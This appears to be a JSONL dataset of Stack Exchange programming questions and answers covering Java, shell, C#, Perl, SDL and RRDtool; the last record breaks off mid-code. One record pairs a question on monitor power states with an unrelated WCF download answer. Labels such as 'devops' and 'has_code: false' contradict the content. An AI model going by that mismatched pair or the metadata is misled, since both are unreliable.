{"id": "hf_65d14cf0073c", "question": "<p>How do you concatenate characters in java? Concatenating strings would only require a <code>+</code> between the strings, but concatenating chars using <code>+</code> will change the value of the char into ascii and hence giving a numerical output. I want to do <code>System.out.println(char1+char2+char3...</code> and create a String word like this.</p>\n\n<p>I could do </p>\n\n<pre><code>System.out.print(char1);\nSystem.out.print(char2);\nSystem.out.print(char3);\n</code></pre>\n\n<p>But, this will only get me the characters in 1 line. I need it as a string. Any help would be appreciated.</p>\n\n<p>Thanks</p>\n", "question_body": "", "answer": "Do you want to make a string out of them?\n```\n```\nString s = new StringBuilder().append(char1).append(char2).append(char3).toString();\n```\n```\nNote that\n```\n```\nString b = \"b\";\nString s = \"a\" + b + \"c\";\n```\n```\nActually compiles to\n```\n```\nString s = new StringBuilder(\"a\").append(b).append(\"c\").toString();\n```\n```\nEdit\n: as litb pointed out, you can also do this:\n```\n```\n\"\" + char1 + char2 + char3;\n```\n```\nThat compiles to the following:\n```\n```\nnew StringBuilder().append(\"\").append(c).append(c1).append(c2).toString();\n```\n```\nEdit (2)\n: Corrected string append comparison since, as cletus points out, a series of strings is handled by the compiler.\nThe purpose of the above is to illustrate what the compiler does, not to tell you what you should do.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:33:01.071319"}
{"id": "hf_328d2fc89aa1", "question": "<p>When I supply the script with the argument: hi[123].txt it will do exactly what I want.\nBut if I specify the wildcard character ( hi*.txt ) it will be re-reading some files.</p>\n\n<p>I was wondering how to modify this script to fix that silly problem:</p>\n\n<pre><code>#!/bin/sh\n\ncount=\"0\"\ntotal=\"0\"\nFILE=\"$1\"  #FILE specification is now $1 Specification..\n\nfor FILE in $@\ndo\n  #if the file is not readable then say so\n     if [ ! -r $FILE ];\n         then\n         echo \"File: $FILE not readable\"\n     exit 0\n     fi\n\n\n# Start processing readable files\n  while read line\n          do\n\n             if [[ \"$line\" =~ ^Total ]];\n                 then\n                   tmp=$(echo $line | cut -d':' -f2)\n\n                   total=$(expr $total + $tmp)\n\n                   echo \"$FILE (s) have a total of:$tmp \"\n                   count=$(expr $count + 1)\n\n             fi\n\n        done &lt; $FILE\ndone\necho \" Total is: $total\"\necho \" Number of files read is:$count\"\n</code></pre>\n", "question_body": "", "answer": "I don't know what is wrong with it, but one little point i noticed:\nChange\n```\nfor FILE in $@\n```\ninto\n```\nfor FILE in \"$@\"\n```\n. Because if files have embedded spaces, you are now on the safe way. It will expand into\n```\n\"$1\" \"$2\" ...\n```\nthen, instead of\n```\n$1 $2 ...\n```\n(and note everywhere you use $FILE too remember to\n```\n\"\"\n```\nit).\nAnd what others say, you don't need to initialize\n```\nFILE\n```\nbefore you enter the loop. It will be set to each of the filenames of the expanded positional parameters in the for loop automatically.\nHowever, i would go with an awk script like this:\n```\n```\nawk -F: '\n/^Total/ { \n    total += $2\n    # count++ not needed. see below\n    print FILENAME \"(s) have a total of: \" $2\n} \n\nEND { \n    print \"Total is: \" total\n    print \"Number of files read is: \" (ARGC-1) \n}' foo*.txt\n```\n```\nNote that when a file contains multiple \"^Count\" lines, you would indeed say you read more files than you actually read if you rely on\n```\ncount\n```\nto tell you the number of files read.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:33:01.095073"}
{"id": "hf_3614b43027db", "question": "<p>I'm trying to use SharpZipLib to pull specified files from a zip archive. All of the examples I've seen always expect that you want to unzip the entire zip, and do something along the lines of:</p>\n\n<pre><code>       FileStream fileStreamIn = new FileStream (sourcePath, FileMode.Open, FileAccess.Read);\n\n        ZipInputStream zipInStream = new ZipInputStream(fileStreamIn);\n        ZipEntry entry;\n\n        while (entry = zipInStream.GetNextEntry() != null)\n        {\n            // Unzip file\n        }\n</code></pre>\n\n<p>What I want to do is something like:</p>\n\n<pre><code>ZipEntry entry = zipInStream.SeekToFile(\"FileName\");\n</code></pre>\n\n<p>As my needs involve using a zip as a package and only grabbing files into memory as needed.</p>\n\n<p>Is anyone familiar with SharpZipLib? Does anyone know if I can do this without running through the entire zip by hand?</p>\n", "question_body": "", "answer": "ZipFile.GetEntry should do the trick:\n```\n```\nusing (var fs = new FileStream(sourcePath, FileMode.Open, FileAccess.Read))\nusing (var zf = new ZipFile(fs)) {\n   var ze = zf.GetEntry(fileName);\n   if (ze == null) {\n      throw new ArgumentException(fileName, \"not found in Zip\");\n   }\n\n   using (var s = zf.GetInputStream(ze)) {\n      // do something with ZipInputStream\n   }\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:33:01.157380"}
{"id": "hf_8f3c2966c867", "question": "<p>I'd like to add a logo to the left of my title on my navigation bar. The title property seems to only take an NSString.  What's the best way to add an image to the navigation bar?</p>\n", "question_body": "", "answer": "Set\n```\nUINavigationItem.titleView\n```\nto a\ncustom view\n(or just a straight UIImageView).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:33:01.180525"}
{"id": "hf_11bcd6fbbb94", "question": "<p>I'm a php guy, but I have to do some small project in JSP.\nI'm wondering if there's an equivalent to htmlentities function (of php) in JSP.</p>\n", "question_body": "", "answer": "```\n```\npublic static String stringToHTMLString(String string) {\n    StringBuffer sb = new StringBuffer(string.length());\n    // true if last char was blank\n    boolean lastWasBlankChar = false;\n    int len = string.length();\n    char c;\n\n    for (int i = 0; i < len; i++)\n        {\n        c = string.charAt(i);\n        if (c == ' ') {\n            // blank gets extra work,\n            // this solves the problem you get if you replace all\n            // blanks with &nbsp;, if you do that you loss \n            // word breaking\n            if (lastWasBlankChar) {\n                lastWasBlankChar = false;\n                sb.append(\"&nbsp;\");\n                }\n            else {\n                lastWasBlankChar = true;\n                sb.append(' ');\n                }\n            }\n        else {\n            lastWasBlankChar = false;\n            //\n            // HTML Special Chars\n            if (c == '\"')\n                sb.append(\"&quot;\");\n            else if (c == '&')\n                sb.append(\"&amp;\");\n            else if (c == '<')\n                sb.append(\"&lt;\");\n            else if (c == '>')\n                sb.append(\"&gt;\");\n            else if (c == '\\n')\n                // Handle Newline\n                sb.append(\"&lt;br/&gt;\");\n            else {\n                int ci = 0xffff & c;\n                if (ci < 160 )\n                    // nothing special only 7 Bit\n                    sb.append(c);\n                else {\n                    // Not 7 Bit use the unicode system\n                    sb.append(\"&#\");\n                    sb.append(new Integer(ci).toString());\n                    sb.append(';');\n                    }\n                }\n            }\n        }\n    return sb.toString();\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:33:01.252696"}
{"id": "hf_5ff30290d864", "question": "<p>What to do when after all probing, a reportedly valid object return 'undefined' for any attribute probed? I use jQuery, <code>$('selector').mouseover(function() { });</code> Everything returns 'undefined' for <code>$(this)</code> inside the function scope. The selector is a 'area' for a map tag and I'm looking for its parent attributes.</p>\n", "question_body": "", "answer": "Your question is a bit vague, so maybe you can provide more details?\nAs for finding out about an object and the values of its properties, there are many ways to do it, including using Firebug or some other debug tools, etc. Here is a quick and dirty function that might help get you started until you can provide more details:\n```\n```\nfunction listProperties(obj) {\n   var propList = \"\";\n   for(var propName in obj) {\n      if(typeof(obj[propName]) != \"undefined\") {\n         propList += (propName + \", \");\n      }\n   }\n   alert(propList);\n}\n```\n```\nThat will display a list of the properties of the object that you pass it that are not\n```\nundefined\n```\n.\nHope that helps...", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:33:01.277154"}
{"id": "hf_8165d5676e97", "question": "<p>I need help to replace all \\n (new line) caracters for <br /> in a String, but not those \\n inside [code][/code] tags.\nMy brain is burning, I can't solve this by my own :(</p>\n\n<p>Example:</p>\n\n<pre><code>test test test\ntest test test\ntest\ntest\n\n[code]some\ntest\ncode\n[/code]\n\nmore text\n</code></pre>\n\n<p>Should be:</p>\n\n<pre><code>test test test&lt;br /&gt;\ntest test test&lt;br /&gt;\ntest&lt;br /&gt;\ntest&lt;br /&gt;\n&lt;br /&gt;\n[code]some\ntest\ncode\n[/code]&lt;br /&gt;\n&lt;br /&gt;\nmore text&lt;br /&gt;\n</code></pre>\n\n<p>Thanks for your time.\nBest regards.</p>\n", "question_body": "", "answer": "I would suggest a (simple) parser, and not a regular expression.  Something like this (bad pseudocode):\n```\n```\nstack elementStack;\n\nforeach(char in string) {\n    if(string-from-char == \"[code]\") {\n        elementStack.push(\"code\");\n        string-from-char = \"\";\n    }\n\n    if(string-from-char == \"[/code]\") {\n        elementStack.popTo(\"code\");\n        string-from-char = \"\";\n    }\n\n    if(char == \"\\n\" && !elementStack.contains(\"code\")) {\n        char = \"<br/>\\n\";\n    }\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:33:01.316753"}
{"id": "hf_23da0c05cbbc", "question": "<p>I came across the Adobe Flex framework one day.  After watching http://www.adobe.com/products/flex/media/flexapp/'> the demo of Flex,  it looks to me it is a bundle of different Ajax controls.  I have no working knowledge of Flex at all and know very little about Flex.  Therefore, I would like to hear from the developers here with some Flex experience to explain a bit more pros and cons of this Framework.  In particular:</p>\n\n<ul>\n<li> How productive it is to program in Flex compared to the .Net + Silverlight? </li>\n<li> Any technical advantages over other frameworks? </li>\n<li> Any disadvantages ?\n<li> Does it have any known scaling issues? </li>\n<li> What kind of web servers can it be hosted on? </li>\n<li> Any other things I should be aware of about Flex?\n</ul>\n", "question_body": "", "answer": "Well ~~ .. it's more that Silverlight is similar to Flex. It's not Ajax so much as a kind of 'walled-garden' inside of which you have a rich programming environment. Somewhat like Java apps say.\nThe usual criticism derives from just that. Flex/Flash applications tend to be ignorant of the browser (more or less) so that stuff like back-button usually gives unexpected results.\nIt'll run on all the current browsers on all platforms. You don't\nneed\nto \"host\" flex as you build a SWF file that gets loaded into the browser and is executed by the Flash Player which your users are expected to have already downloaded/installed .. (95+%) penetration helps.\nI've been using Flex for the last year or so and it's served my purposes well. It can be integrated nicely with javascript stuff on your web pages and provides a very rich set of capabilities for doing all sorta things like web-services and XML processing and of course all your video/audio/music rich media.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:33:01.363005"}
{"id": "hf_52bbf6ff95eb", "question": "<p>So I'm about to start of a small project for my sporting club for member registrations and I'm trying to decide between WebForms or MVC.</p>\n\n<p>Allit will be is a user login and data capture forms (or and data retrieval), so I was initally thinking WebForms with FBA but I've wanted to have a play with MVC for a while and I was thinking that it wouldn't be too bad a choice.</p>\n\n<p>But not really having a lot of knowledge of MVC I don't know if it'd be a wrong fit.</p>\n\n<p>So what's a good way to decide if WebForms or MVC is the right choice?</p>\n", "question_body": "", "answer": "Is this a critical, production level application or a small one-off?  Can you deal with the extra time that the learning curve of MVC will take or do you need to have it done right-away?  Can you afford to scrap the whole thing and start over if MVC doesn't work out?  Are you willing to have the platform change (probably not much now that it's in beta) while you are developing?   Is there another project that is less critical that you could use MVC on to learn it.\nDepending on how you answer these questions, learning MVC on this project might be worth it. Personally, I think it is a better architecture, but a less mature technology at this point.  It has certainly increased the testability of my web code.  I expect to move all of my development in this direction over the next year or so, though I doubt if I will change gears in any of the projects that I have had under development for awhile.  I've just started my first new project in MVC.  I wasn't willing to commit to it until it went into beta and I think that it will be in production before I'm finished with the project.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:33:01.420943"}
{"id": "hf_76a908040a88", "question": "<p>How can I send a monitor into/out-of a different power state (like sleep)?</p>\n", "question_body": "", "answer": "The latest version is maintained on IDesign's site here:\nhttp://idesign.net/Downloads/GetDownload/1887\nOlder version are available on the O'Reilly site.\nProgramming WCF Services 3rd Edition (PWSTE) Samples:\nhttp://examples.oreilly.com/9780596805494/\nProgramming WCF Services 2nd Edition (PWSSE) Samples:\nhttp://examples.oreilly.com/9780596521301/\nI found this via:\nhttp://oreilly.com/catalog/9780596521301/\nand clicking on \"Examples\"\nDownload the zip file and it has all the code for ServiceModelEx. I hope this helps.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:33:01.490721"}
{"id": "hf_c1ac2ff8c2c0", "question": "<p>What are some <em>common</em>, <em>real world examples</em> of using the Builder Pattern?  What does it buy you?  Why not just use a Factory Pattern?</p>\n", "question_body": "", "answer": "You use it when you have lots of options to deal with.  Think about things like jmock:\n```\n```\nm.expects(once())\n    .method(\"testMethod\")\n    .with(eq(1), eq(2))\n    .returns(\"someResponse\");\n```\n```\nIt feels a lot more natural and is...possible.\nThere's also xml building, string building and many other things.  Imagine if\n```\njava.util.Map\n```\nhad put as a builder.  You could do stuff like this:\n```\n```\nMap<String, Integer> m = new HashMap<String, Integer>()\n    .put(\"a\", 1)\n    .put(\"b\", 2)\n    .put(\"c\", 3);\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:33:01.514583"}
{"id": "hf_43f27ff6e33b", "question": "<p>what is the proper way to scale an SDL Surface? I found one explanation online but it required redrawing the Surface pixel by pixel. It seems like there should be some way of doing this natively through SDL rather than redrawing the image like that. I haven't been able to find anything in the SDL documentation that covers this. I am able to resize surfaces without any problem by modifying the surfaces width and height, but the resulting surface is clipped.</p>\n", "question_body": "", "answer": "SDL doesn't support scaled blitting. According to the documentation of\nSDL_BlitSurface\n:\nNote: the SDL blitter does not (yet)\n  have the capability of scaling the\n  blitted surfaces up or down like it is\n  the case with other more sophisticated\n  blitting mechanisms. You have to\n  figure something out for yourself if\n  you want to scale images (e.g. use\n  SDL_gfx).\nYou could find SDL_gfx\nhere\n. Writing your own blitting function isn't that bad, it might be a fun and useful learning experiment (though you'd be reinventing the wheel). Using OpenGL is also an option, as stuff like scaling and rotating could be done in a single function call.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:33:01.538017"}
{"id": "hf_d74ba352d99f", "question": "<p>The execvp() function executes the program that is given as an argument. It checks the $PATH variable to find the program. I'm writing something in which I would like to check to see if several programs exist before calling any exec() functions. What's the best way to do this?</p>\n", "question_body": "", "answer": "You can use getenv to get the PATH environment variable and then search through it.\nhttp://www.opengroup.org/onlinepubs/000095399/functions/getenv.html\nYou can then use fopen to check for the existence of the specific binary names.\nYou can also do something like system(\"which App\"). which searches $PATH for you.\nhttp://en.wikipedia.org/wiki/System_(C_standard_library)\nhttp://en.wikipedia.org/wiki/Which_(Unix)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:33:01.561487"}
{"id": "hf_2ade210c3b7d", "question": "<p>I'm a long time C++/Java developer trying to get into Python and am looking for the stereotypical \"Python for C++ Developers\" article, but coming up blank.  I've seen these sort of things for C#, Java, etc, and they're incredibly useful for getting up to speed on language features and noteworthy differences.  Anyone have any references?</p>\n\n<p>As a secondary bonus question, what open source Python program would you suggest looking at for clean design, commenting, and use of the language as a point of reference for study?</p>\n\n<p>Thanks in advance.</p>\n", "question_body": "", "answer": "I never really understood the \"Language X for Language Y developers\" approach.  When I go looking to learn Language X I want to learn how to program in it the way that Language X programmers do, not the way Language Y programmers do.  I want to learn the features, idioms, etc. that are unique to the language that I am learning.  I want to be able to take advantage of the things that make the language special and use that knowledge to expand my ways of thinking and solving problems.  I don't think I would get the same sort of insights from a tutorial that was framed in the context of another language.  If you can learn your first language without a tutorial geared towards something you already know you should be able to pick up a second language the same way (and in my experience, the more languages you know the easier it is to learn new ones).\nWith that said, I would recommend\nThe Python Tutorial\nas a good, quick, and easy way to get going with Python and\nDive Into Python\nas a more complete introduction, also available for free\nhere\n.  I would also agree with what others have said regarding looking at the code for the standard libraries as a source of good examples and design practices, the standard python libraries are pretty clean and easy to read.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:33:01.673525"}
{"id": "hf_e2c443307cd0", "question": "<p>I'm using LINQ to Entities (not LINQ to SQL) and I'm having trouble creating an 'IN' style query.  Here is my query at the moment:</p>\n\n<pre><code>var items = db.InventoryItem\n                .Include(\"Kind\")\n                .Include(\"PropertyValues\")\n                .Include(\"PropertyValues.KindProperty\")\n                .Where(itm =&gt; valueIds.Contains(itm.ID)).ToList&lt;InventoryItem&gt;();\n</code></pre>\n\n<p>When I do this however, the following exception is thrown:</p>\n\n<blockquote>\n  <p>LINQ to Entities does not recognize the method 'Boolean Contains(Int64)' method, and this method cannot be translated into a store expression.</p>\n</blockquote>\n\n<p>Does anyone have a workaround or another solution for this?</p>\n", "question_body": "", "answer": "You need to either use this one:\n```\n```\n.Where(string.Format(\"it.ID in {0}\", string.Join(\",\", valueIds.ToArray())));\n```\n```\nor construct the WHERE part dynamically, as in\nthis\npost.\nP.S. - Information has been updated and this answer updated as follows to maintain relevance:\nThe link referenced contains the following update:\n...in EF4 we added support for the\nContains method and at least in this\nspecific case for collection-valued\nparameters. Therefore this kind of\ncode now works right out of the box\nand it is not necesary to use any\nadditinal expression building method:\n```\n```\nvar statusesToFind = new List<int> {1, 2, 3, 4};\nvar foos = from foo in myEntities.Foos\n           where statusesToFind.Contains(foo.Status)\n           select foo;\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:33:01.697054"}
{"id": "hf_def09e120e75", "question": "<p>Is there an elegant way in Perl to find the newest file in a directory (newest by modification date)?</p>\n\n<p>What I have so far is searching for the files I need, and for each one get it's modification time, push into an array containing the filename, modification time, then sort it.</p>\n\n<p>There must be a better way.</p>\n", "question_body": "", "answer": "you could try using the shell's\n```\nls\n```\ncommand:\n```\n```\n@list = `ls -t`;\n$newest = $list[0];\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:33:01.791324"}
{"id": "hf_0c03accba96e", "question": "<p>I am using RRDtool for storing data for displaying graphs. I update the RRD by  RRDs::update and this fails when trying to rewrite the information, means update data for a time in the past (e.g. someone moved the system timer back). The error I get is: </p>\n\n<pre><code>ERROR: Cannot update /opt/dashboard/rrd/Disk/192.168.120.168_disk_1.rrd with \n'1228032301:24:24' illegal attempt to update using time 1228032301 when last \nupdate time is 1228050001 (minimum one second step)\n</code></pre>\n\n<p>I want to always allow the rewrite, how can I do this?</p>\n", "question_body": "", "answer": "According to the RRD documentation, that timestamp number\nmust\nincrease with each update. Given your constraints, I'd modify your update routine so that if the update fails, you catch the exception and redo the update with the time field set to 'N'. That will make RRDtool use the current time as the update time.\nAlternatively, if you don't want to deal with the catch-and-retry code, just modify your update code to always use 'N' as the time value -- then the update will always work.\nIt may be helpful to have a quick look at the documentation for the RRDtool\nupdate command\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:33:01.815206"}
{"id": "hf_80006e02ada4", "question": "<p>i'm wanting to generate a random salt value and put it into the Application state.</p>\n\n<p>Now, i'm using a web farm, so the Application state will be different per machine. I don't want to purchase distributed state farm apps, either.</p>\n\n<p>So .. what are some solutions for this? I thought i could hard-code it in the code OR the web.config file .. but that means the same salt for eva .. not very safe.</p>\n\n<p>Anyone have any suggestions?</p>\n\n<p>Remember - i'm after a unique key (eg a guid) that is the same across all machines. Maybe a config file is the only way?</p>\n", "question_body": "", "answer": "If I understand correctly, you want the machines to share a value, and you don't want the value to be the same forever. Ideally you'd prefer not to store it.\nSo, have the \"first\" machine generate a random value at startup, (using whatever entropy it can such as /dev/random. If you don't need a secure value, and don't have enough entropy at startup to create one anyway, use the time or whatever), and communicate it to all the others. As new machines join the cluster, they need to be able to find the value from one machine already in the cluster. Machines dropping out make no difference.\nWhich machine is the \"first\"? Well, if you can always boot one machine before any others, and give it time to get to the point of generating a value, then you can use the trivial algorithm:\n1) Look for other machines. If you find one, ask it the value.\n2) If you don't find one, generate the value yourself.\nIf multiple machines are starting up at once then they need to decide amongst themselves which is the \"leader\". You could do this by choosing one yourself (e.g. a machine declares itself \"leader\" as soon as it receives a particular connection via the admin interface: on startup each machine waits until it either gets this connection, or hears from another machine that the other machine is the leader). It's trivial to do automatically on a token ring: the machine with the least MAC address or whatever is leader. But nobody uses token ring any more...\nAt the opposite extreme of an unreliable network I'm not sure it's even possible, unless all the machines know how many there will be in total (in which case it's just like the token ring, except that they all talk to each other until they've figured out who's the leader). With reliable broadcast, which is what you can assume within reasonable bounds on ethernet, I'm sure there's an optimal algorithm published somewhere, but I forget what it is (if I ever knew). I'd guess that everyone broadcasts who they think the leader is at regular intervals (including their own claim if they've not yet seen a better one). Once you've been listening to that for long enough (approx one interval), you'll know who the leader is, and you can start using the seed.\nIf the value is a secret, then obviously communication within the cluster must be secure. You might get that for free, depending on the network architecture.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:33:01.882085"}
{"id": "hf_b4a09f61167e", "question": "<p>The <a href=\"http://code.google.com/p/v8/wiki/BuildingOnWindows\" rel=\"nofollow noreferrer\">build instructions of V8 JavaScript Engine</a> mention only Visual Studio 2005 and 2008. Has anybody been successful with <a href=\"http://mingw.org/\" rel=\"nofollow noreferrer\">MinGW</a> on Windows XP/Vista?</p>\n", "question_body": "", "answer": "I've tried, but seems it automatically detect the WIN32 platform and tries to invoke the vc++ compiler, I tried to adding to the PATH the mingw-gcc compiler (I've not vc++ installed) and the build script correctly sees it, but doesn't compile out of the box.\nI suppose deleting the \"WIN32 flag\" will do the work, since for successfully compiling under mingw the compiler needs to thinks to be on unix enviroment, but then even if it compiles probably it will have some problems due to the different platform.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:33:01.906494"}
{"id": "hf_23a35a716387", "question": "<p>When I am stuck with a problem:</p>\n\n<ul>\n<li>I search Google for code snippets.</li>\n<li>I look at isolating the problem, so that I can better explain it to others in order to get answers.</li>\n</ul>\n\n<p>What search techniques do you use to find the solution to your problem?</p>\n\n<p>I started asking questions in Stack Overflow.</p>\n\n<p>What other techniques or methods do you follow, to fix the problem more quickly?</p>\n", "question_body": "", "answer": "Well there's:\nGoogle\nGoogle\nGoogle\nStack Overflow\nGoogle\nGoogle\nMaybe a book if I have one.\nSeriously, I started (hobby) programming in the 1980s and even into the mid 90s you had to know things and have a technical library.  Then Google came along and it's easier to Google something than it is to look up (bookmarked!) API documentation (Google \"java stringbuilder\" will get me there faster than navigating will) let alone an actual book (electronic or paper).\nMost problems you're trying to solve have been solved before.  Many times.\nThe rest of debugging comes down to decomposition, possibly unit testing (which is related to decomposition) and verifying your assumptions.\nBy \"decomposition\", I mean that your solution is structured in such a way that small pieces can be individually tested and readily understood.  If you have a 7000 line method you're (probably) doing something wrong.\nUnderstanding what assumptions you've made is key too so you can verify them.  For example, when I started with PHP I wrote a piece of code like this:\n```\n```\n$fields = $_SESSION[\"fields\"]; // $fields is an associative array\n$fields[\"blah\"] = \"foo\";\n```\n```\nand I was scratching my head trying to figure out why it didn't work (the array wasn't being updated next time I queried $_SESSION).  I came from a Java background where you might do this:\n```\n```\nMap fields = (Map)httpSession.get(\"fields\");\nfields.put(\"blah\", \"foo\");\n```\n```\nand that would most definitely work.  PHP however\ncopies\nthe array.  A working solution is to use references:\n```\n```\n$fields =& $_SESSION[\"fields\"]; // $fields is an associative array\n$fields[\"blah\"] = \"foo\";\n```\n```\nor simply:\n```\n```\n$_SESSION[\"fields\"][\"blah\"] = \"foo\";\n```\n```\nThe last thing I'll say about debugging and writing robust code in general is to understand the boundaries of your solution.  By this I mean if you're implementing a linked list then the boundary conditions will revolve around when the list is empty.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:33:01.942809"}
{"id": "hf_e2035d686e88", "question": "<p>I know this is a longshot but I was wondering if anyone knows if this is possible.</p>\n", "question_body": "", "answer": "I know nothing about air.\nBut if AIR has JavaScript access, and you can access the container document (\nHow do I share a javascript object between different pages in Adobe AIR?\n) then all you need to work out is how to obtain Document.location from it.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:33:02.004792"}
{"id": "hf_40b3180a16d5", "question": "<p>I have a object of type <code>ICollection&lt;string&gt;</code>.  What is the best way to convert to <code>string[]</code>.  </p>\n\n<p>How can this be done in .NET 2?<BR>\nHow can this be done cleaner in later version of C#, perhaps using LINQ in C# 3?</p>\n", "question_body": "", "answer": "You could use the following snippet to convert it to an ordinary array:\n```\n```\nstring[] array = new string[collection.Count];\ncollection.CopyTo(array, 0);\n```\n```\nThat should do the job :)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:33:02.041616"}
{"id": "hf_6f3f18778d0f", "question": "<p>After moving to .NET 2.0+ is there ever a reason to still use the systems.Collections namespace (besides maintaining legacy code)?  Should the generics namespace always be used instead?</p>\n", "question_body": "", "answer": "In some circumstances the generic containers perform better than the old ones. They should at least perform as well as the old ones in all circumstances. And they help to catch programming errors. It's a rare combination of a more helpful abstraction and better performance, so there isn't much of a reason to avoid them. Only if you are forced to by a crummy library you have to work with that was written before generics.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:33:02.066511"}
{"id": "hf_1faf5d35f177", "question": "<p>I have a class that inherits a generic dictionary and an inteface</p>\n\n<pre><code>public class MyDictionary: Dictionary&lt;string, IFoo&gt;, IMyDictionary\n{\n}\n</code></pre>\n\n<p>the issue is that consumers of this class are looking for the '.Keys' and \".Values\" properties of the interface so i added:</p>\n\n<pre><code>    /// &lt;summary&gt;\n    /// \n    /// &lt;/summary&gt;\n    ICollection&lt;string&gt; Keys { get; }\n\n    /// &lt;summary&gt;\n    /// \n    /// &lt;/summary&gt;\n    IEnumerable&lt;IFoo&gt; Values { get; }\n</code></pre>\n\n<p>to the interface.  </p>\n\n<p>Now, the implementation needs to have this as well but when i implement these, i get this error:</p>\n\n<p>\"The keyword new is required because it hides property Keys . .. \"</p>\n\n<p>so what do i need to do.  Should i be adding a \"new\" in front of these get properties?</p>\n", "question_body": "", "answer": "The reason is that your keys and values properties are hiding the implementation of the keys and values properties in the Dictionary class.\nEDIT:  Yes all you have to do is add the new keyword into you property.  So you code will look somthing like this:\n```\n```\nclass IFoo\n{ }\n\ninterface MyDictionary\n{\n    ICollection<string> Keys { get; }\n\n    /// <summary>\n    